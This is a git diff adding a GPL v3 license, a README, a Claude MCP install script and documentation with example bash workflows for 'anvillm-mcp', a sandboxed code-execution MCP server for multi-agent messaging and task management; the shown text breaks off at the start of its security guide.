diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..496acdb --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,675 @@ +# GNU GENERAL PUBLIC LICENSE + +Version 3, 29 June 2007 + +Copyright (C) 2007 Free Software Foundation, Inc. + + +Everyone is permitted to copy and distribute verbatim copies of this +license document, but changing it is not allowed. + +## Preamble + +The GNU General Public License is a free, copyleft license for +software and other kinds of works. + +The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom +to share and change all versions of a program--to make sure it remains +free software for all its users. We, the Free Software Foundation, use +the GNU General Public License for most of our software; it applies +also to any other work released this way by its authors. You can apply +it to your programs, too. + +When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + +To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you +have certain responsibilities if you distribute copies of the +software, or if you modify it: responsibilities to respect the freedom +of others. + +For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + +Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + +For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + +Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the +manufacturer can do so. This is fundamentally incompatible with the +aim of protecting users' freedom to change the software. The +systematic pattern of such abuse occurs in the area of products for +individuals to use, which is precisely where it is most unacceptable. +Therefore, we have designed this version of the GPL to prohibit the +practice for those products. If such problems arise substantially in +other domains, we stand ready to extend this provision to those +domains in future versions of the GPL, as needed to protect the +freedom of users. + +Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish +to avoid the special danger that patents applied to a free program +could make it effectively proprietary. To prevent this, the GPL +assures that patents cannot be used to render the program non-free. + +The precise terms and conditions for copying, distribution and +modification follow. + +## TERMS AND CONDITIONS + +### 0. Definitions. + +"This License" refers to version 3 of the GNU General Public License. + +"Copyright" also means copyright-like laws that apply to other kinds +of works, such as semiconductor masks. + +"The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + +To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of +an exact copy. The resulting work is called a "modified version" of +the earlier work or a work "based on" the earlier work. + +A "covered work" means either the unmodified Program or a work based +on the Program. + +To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + +To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user +through a computer network, with no transfer of a copy, is not +conveying. + +An interactive user interface displays "Appropriate Legal Notices" to +the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + +### 1. Source Code. + +The "source code" for a work means the preferred form of the work for +making modifications to it. "Object code" means any non-source form of +a work. + +A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + +The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + +The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + +The Corresponding Source need not include anything that users can +regenerate automatically from other parts of the Corresponding Source. + +The Corresponding Source for a work in source code form is that same +work. + +### 2. Basic Permissions. + +All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + +You may make, run and propagate covered works that you do not convey, +without conditions so long as your license otherwise remains in force. +You may convey covered works to others for the sole purpose of having +them make modifications exclusively for you, or provide you with +facilities for running those works, provided that you comply with the +terms of this License in conveying all material for which you do not +control copyright. Those thus making or running the covered works for +you must do so exclusively on your behalf, under your direction and +control, on terms that prohibit them from making any copies of your +copyrighted material outside their relationship with you. + +Conveying under any other circumstances is permitted solely under the +conditions stated below. Sublicensing is not allowed; section 10 makes +it unnecessary. + +### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + +No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + +When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such +circumvention is effected by exercising rights under this License with +respect to the covered work, and you disclaim any intention to limit +operation or modification of the work as a means of enforcing, against +the work's users, your or third parties' legal rights to forbid +circumvention of technological measures. + +### 4. Conveying Verbatim Copies. + +You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + +You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + +### 5. Conveying Modified Source Versions. + +You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these +conditions: + +- a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. +- b) The work must carry prominent notices stating that it is + released under this License and any conditions added under + section 7. This requirement modifies the requirement in section 4 + to "keep intact all notices". +- c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. +- d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + +A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + +### 6. Conveying Non-Source Forms. + +You may convey a covered work in object code form under the terms of +sections 4 and 5, provided that you also convey the machine-readable +Corresponding Source under the terms of this License, in one of these +ways: + +- a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. +- b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the Corresponding + Source from a network server at no charge. +- c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. +- d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. +- e) Convey the object code using peer-to-peer transmission, + provided you inform other peers where the object code and + Corresponding Source of the work are being offered to the general + public at no charge under subsection 6d. + +A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + +A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, +family, or household purposes, or (2) anything designed or sold for +incorporation into a dwelling. In determining whether a product is a +consumer product, doubtful cases shall be resolved in favor of +coverage. For a particular product received by a particular user, +"normally used" refers to a typical or common use of that class of +product, regardless of the status of the particular user or of the way +in which the particular user actually uses, or expects or is expected +to use, the product. A product is a consumer product regardless of +whether the product has substantial commercial, industrial or +non-consumer uses, unless such uses represent the only significant +mode of use of the product. + +"Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to +install and execute modified versions of a covered work in that User +Product from a modified version of its Corresponding Source. The +information must suffice to ensure that the continued functioning of +the modified object code is in no case prevented or interfered with +solely because modification has been made. + +If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + +The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or +updates for a work that has been modified or installed by the +recipient, or for the User Product in which it has been modified or +installed. Access to a network may be denied when the modification +itself materially and adversely affects the operation of the network +or violates the rules and protocols for communication across the +network. + +Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + +### 7. Additional Terms. + +"Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + +When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + +Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders +of that material) supplement the terms of this License with terms: + +- a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or +- b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or +- c) Prohibiting misrepresentation of the origin of that material, + or requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or +- d) Limiting the use for publicity purposes of names of licensors + or authors of the material; or +- e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or +- f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions + of it) with contractual assumptions of liability to the recipient, + for any liability that these contractual assumptions directly + impose on those licensors and authors. + +All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + +If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + +Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; the +above requirements apply either way. + +### 8. Termination. + +You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + +However, if you cease all violation of this License, then your license +from a particular copyright holder is reinstated (a) provisionally, +unless and until the copyright holder explicitly and finally +terminates your license, and (b) permanently, if the copyright holder +fails to notify you of the violation by some reasonable means prior to +60 days after the cessation. + +Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + +Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + +### 9. Acceptance Not Required for Having Copies. + +You are not required to accept this License in order to receive or run +a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + +### 10. Automatic Licensing of Downstream Recipients. + +Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + +An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + +You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + +### 11. Patents. + +A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + +A contributor's "essential patent claims" are all patent claims owned +or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + +Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + +In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + +If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + +If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + +A patent license is "discriminatory" if it does not include within the +scope of its coverage, prohibits the exercise of, or is conditioned on +the non-exercise of one or more of the rights that are specifically +granted under this License. You may not convey a covered work if you +are a party to an arrangement with a third party that is in the +business of distributing software, under which you make payment to the +third party based on the extent of your activity of conveying the +work, and under which the third party grants, to any of the parties +who would receive the covered work from you, a discriminatory patent +license (a) in connection with copies of the covered work conveyed by +you (or copies made from those copies), or (b) primarily for and in +connection with specific products or compilations that contain the +covered work, unless you entered into that arrangement, or that patent +license was granted, prior to 28 March 2007. + +Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + +### 12. No Surrender of Others' Freedom. + +If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under +this License and any other pertinent obligations, then as a +consequence you may not convey it at all. For example, if you agree to +terms that obligate you to collect a royalty for further conveying +from those to whom you convey the Program, the only way you could +satisfy both those terms and this License would be to refrain entirely +from conveying the Program. + +### 13. Use with the GNU Affero General Public License. + +Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + +### 14. Revised Versions of this License. + +The Free Software Foundation may publish revised and/or new versions +of the GNU General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in +detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies that a certain numbered version of the GNU General Public +License "or any later version" applies to it, you have the option of +following the terms and conditions either of that numbered version or +of any later version published by the Free Software Foundation. If the +Program does not specify a version number of the GNU General Public +License, you may choose any version ever published by the Free +Software Foundation. + +If the Program specifies that a proxy can decide which future versions +of the GNU General Public License can be used, that proxy's public +statement of acceptance of a version permanently authorizes you to +choose that version for the Program. + +Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + +### 15. Disclaimer of Warranty. + +THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT +WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND +PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE +DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR +CORRECTION. + +### 16. Limitation of Liability. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR +CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES +ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT +NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR +LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM +TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER +PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +### 17. Interpretation of Sections 15 and 16. + +If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + +END OF TERMS AND CONDITIONS + +## How to Apply These Terms to Your New Programs + +If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these +terms. + +To do so, attach the following notices to the program. It is safest to +attach them to the start of each source file to most effectively state +the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper +mail. + +If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands \`show w' and \`show c' should show the +appropriate parts of the General Public License. Of course, your +program's commands might be different; for a GUI interface, you would +use an "about box". + +You should also get your employer (if you work as a programmer) or +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. For more information on this, and how to apply and follow +the GNU GPL, see . + +The GNU General Public License does not permit incorporating your +program into proprietary programs. If your program is a subroutine +library, you may consider it more useful to permit linking proprietary +applications with the library. If this is what you want to do, use the +GNU Lesser General Public License instead of this License. But first, +please read . diff --git a/README.md b/README.md new file mode 100644 index 0000000..7447d67 --- /dev/null +++ b/README.md @@ -0,0 +1,40 @@ +# anvillm-mcp + +MCP (Model Context Protocol) server for tool execution with sandboxing. + +## Usage + +```sh +# Build and install +mk + +# The server is invoked by MCP clients (Claude, Kiro, etc.) +anvilmcp +``` + +## Features + +- Sandboxed code execution via bwrap/firejail +- Tool scripts in `mcptools/` +- Pipeline support for chaining tools +- Rate limiting and security validation +- Execution metrics logging + +## Configuration + +Sandbox configuration uses layered YAML files from `~/.config/anvillm/`: +- `global.yaml` - base configuration +- `sandbox/.yaml` - sandbox-specific overrides + +See `docs/` for detailed security and usage documentation. + +## mcptools + +Shell scripts that provide MCP tools for: +- Beads task management (create, claim, complete, etc.) +- Session control +- Messaging between agents +- Skill discovery and loading +- Code exploration + +Installed to `~/.config/anvillm/mcptools/` by `mk install`. diff --git a/anvillm-mcp b/anvillm-mcp deleted file mode 100755 index d73f435..0000000 Binary files a/anvillm-mcp and /dev/null differ diff --git a/claude/install-mcp.sh b/claude/install-mcp.sh new file mode 100755 index 0000000..94f1a3c --- /dev/null +++ b/claude/install-mcp.sh @@ -0,0 +1,23 @@ +#!/bin/bash + +# Skip installation if claude command is not available +if ! command -v claude &> /dev/null; then + echo "Skipping MCP server installation: 'claude' command not found in PATH" + exit 0 +fi + +# Install anvilmcp MCP server +if ! claude mcp get anvilmcp &> /dev/null; then + claude mcp add --scope user --transport stdio anvilmcp -- anvilmcp + echo "anvilmcp installed" +fi + +# Install superpowers-mcp-server if available +if command -v superpowers-mcp-server &> /dev/null; then + if ! claude mcp get superpowers-mcp-server &> /dev/null; then + claude mcp add --scope user --transport stdio superpowers-mcp-server -- superpowers-mcp-server + echo "superpowers-mcp-server installed" + fi +fi + +echo "MCP servers configured" diff --git a/docs/code-execution-examples.md b/docs/code-execution-examples.md new file mode 100644 index 0000000..39f4e2b --- /dev/null +++ b/docs/code-execution-examples.md @@ -0,0 +1,272 @@ +# Code Execution Example Workflows + +Example workflows demonstrating the code execution pattern with bash scripts. + +## 1. Inbox Processing + +Process all messages in inbox and summarize: + +```bash +#!/bin/bash +# Process inbox messages + +agent_id="$1" +count=0 + +while true; do + msg=$(./check_inbox.sh 2>&1) + if [[ "$msg" == "No messages" ]]; then + break + fi + count=$((count + 1)) +done + +echo "Processed $count messages" +``` + +## 2. Multi-Agent Status Check + +Check status of all active agents: + +```bash +#!/bin/bash +# Check all agent states + +sessions=$(./list_sessions.sh) +total=$(echo "$sessions" | jq 'length') +running=$(echo "$sessions" | jq '[.[] | select(.state == "running")] | length') +idle=$(echo "$sessions" | jq '[.[] | select(.state == "idle")] | length') + +echo "Total agents: $total" +echo "Running: $running" +echo "Idle: $idle" +``` + +## 3. Polling Loop + +Wait for specific condition: + +```bash +#!/bin/bash +# Poll inbox until specific message arrives + +agent_id="$1" +keyword="$2" +attempts=0 +max_attempts=10 + +while [ $attempts -lt $max_attempts ]; do + msg=$(./check_inbox.sh 2>&1) + + if echo "$msg" | grep -q "$keyword"; then + echo "Found message with keyword: $keyword" + exit 0 + fi + + if [[ "$msg" == "No messages" ]]; then + sleep 5 + fi + + attempts=$((attempts + 1)) +done + +echo "Timeout: keyword not found after $max_attempts attempts" +exit 1 +``` + +## 4. Broadcast Message + +Send message to all active agents: + +```bash +#!/bin/bash +# Broadcast message to all agents + +from="$1" +subject="$2" +body="$3" + +sessions=$(./list_sessions.sh) +recipients=$(echo "$sessions" | jq -r '.[].id') + +for to in $recipients; do + if [ "$to" != "$from" ]; then + ./send_message.sh "$from" "$to" "NOTIFICATION" "$subject" "$body" + echo "Sent to $to" + fi +done +``` + +## 5. Agent Health Monitor + +Monitor agent states and alert on errors: + +```bash +#!/bin/bash +# Monitor agent health + +while true; do + sessions=$(./list_sessions.sh) + errors=$(echo "$sessions" | jq -r '.[] | select(.state == "error") | .id') + + if [ -n "$errors" ]; then + for agent_id in $errors; do + echo "ALERT: Agent $agent_id in error state" + ./send_message.sh "monitor" "user" "ALERT" \ + "Agent Error" "Agent $agent_id is in error state" + done + fi + + sleep 30 +done +``` + +## 6. Skill Discovery + +List and filter available skills: + +```bash +#!/bin/bash +# Find skills matching keyword + +keyword="$1" +skills=$(./list_skills.sh) + +matches=$(echo "$skills" | jq -r \ + --arg kw "$keyword" \ + '.[] | select(.description | contains($kw)) | .name') + +if [ -z "$matches" ]; then + echo "No skills found matching: $keyword" +else + echo "Skills matching '$keyword':" + echo "$matches" +fi +``` + +## 7. Message Routing + +Route messages based on content: + +```bash +#!/bin/bash +# Route messages to appropriate handlers + +agent_id="$1" + +while true; do + msg=$(./check_inbox.sh 2>&1) + + if [[ "$msg" == "No messages" ]]; then + sleep 5 + continue + fi + + type=$(echo "$msg" | grep "^Type:" | cut -d: -f2 | xargs) + + case "$type" in + PROMPT_REQUEST) + echo "Routing to prompt handler" + ;; + REVIEW_REQUEST) + echo "Routing to review handler" + ;; + QUERY_REQUEST) + echo "Routing to query handler" + ;; + *) + echo "Unknown message type: $type" + ;; + esac +done +``` + +## 8. Batch State Updates + +Update multiple agent states: + +```bash +#!/bin/bash +# Set all idle agents to running + +sessions=$(./list_sessions.sh) +idle_agents=$(echo "$sessions" | jq -r '.[] | select(.state == "idle") | .id') + +for agent_id in $idle_agents; do + ./set_state.sh "$agent_id" "running" + echo "Set $agent_id to running" +done +``` + +## 9. Data Aggregation + +Aggregate data from multiple sources: + +```bash +#!/bin/bash +# Collect stats from all agents + +sessions=$(./list_sessions.sh) + +echo "Agent Statistics:" +echo "=================" +echo "$sessions" | jq -r '.[] | "\(.id): \(.state) in \(.workdir)"' + +echo "" +echo "State Summary:" +echo "$sessions" | jq -r 'group_by(.state) | .[] | "\(.[0].state): \(length)"' +``` + +## 10. Privacy-Preserving Pipeline + +Process sensitive data without exposing it: + +```bash +#!/bin/bash +# Process messages without logging content + +agent_id="$1" +processed=0 +errors=0 + +while true; do + msg=$(./check_inbox.sh 2>&1) + + if [[ "$msg" == "No messages" ]]; then + break + fi + + # Process message (content never logged) + if echo "$msg" | grep -q "Type:"; then + processed=$((processed + 1)) + else + errors=$((errors + 1)) + fi +done + +# Only log counts, not content +echo "Processed: $processed, Errors: $errors" +``` + +## Token Savings + +These workflows demonstrate token efficiency: + +**Without code execution:** +- Each tool call: ~90 tokens (schema) +- Each result: full data in context +- 10 tool calls: ~900 tokens + data + +**With code execution:** +- Tool discovery: ~30 tokens +- Code execution: ~200 tokens +- Result: summary only (~20 tokens) +- Total: ~250 tokens (72% reduction) + +## Best Practices + +1. **Filter early**: Process data in bash, return summaries +2. **Use loops**: Avoid repeated tool calls through context +3. **Handle errors**: Check exit codes and output +4. **Log summaries**: Never log full sensitive data +5. **Timeout protection**: Use max attempts in loops diff --git a/docs/code-execution-pattern.md b/docs/code-execution-pattern.md new file mode 100644 index 0000000..0694f3c --- /dev/null +++ b/docs/code-execution-pattern.md @@ -0,0 +1,60 @@ +# Code Execution Pattern + +## Overview + +`execute_code` is the single MCP tool exposed by `anvilmcp`. It executes bash scripts in an isolated subprocess sandboxed via landrun. All AnviLLM functionality — messaging, sessions, beads, state — is accessed through 9P and helper scripts within these subprocesses. + +## Tool Discovery + +Discover available helper scripts on-demand via 9P: + +```bash +9p ls anvillm/tools/ +``` + +Read and invoke a specific script: + +```bash +bash <(9p read anvillm/tools/check_inbox.sh) +``` + +## Examples + +### Messaging + +```bash +bash <(9p read anvillm/tools/send_message.sh) \ + --to user --type PROMPT_RESPONSE --subject "Done" --body "Task complete" +``` + +### Beads + +```bash +echo 'new "Implement login" "Add JWT auth"' | 9p write anvillm/beads/ctl +9p read anvillm/beads/ready | jq -r '.[] | "\(.id): \(.title)"' +``` + +### Polling + +```bash +while true; do + state=$(9p read anvillm/$ID/state) + [ "$state" = "idle" ] && break + sleep 5 +done +echo "Session $ID is idle" +``` + +### Filtering + +```bash +9p read anvillm/beads/list | jq '[.[] | select(.status == "open" and .priority <= 2)]' +``` + +## Why One Tool + +A single `execute_code` tool means: +- No upfront tool-definition loading (saves tokens) +- Data stays in the subprocess (not in context) +- Loops, conditionals, and pipes work naturally +- Progressive discovery — only read what you need diff --git a/docs/code-execution-security-guide.md b/docs/code-execution-security-guide.md new file mode 100644 index 0000000..64acda7 --- /dev/null +++ b/docs/code-execution-security-guide.md @@ -0,0 +1,390 @@ +# Code Execution Security Guide + +## Overview + +The execute_code tool runs bash scripts in isolated subprocesses using landrun (Landlock 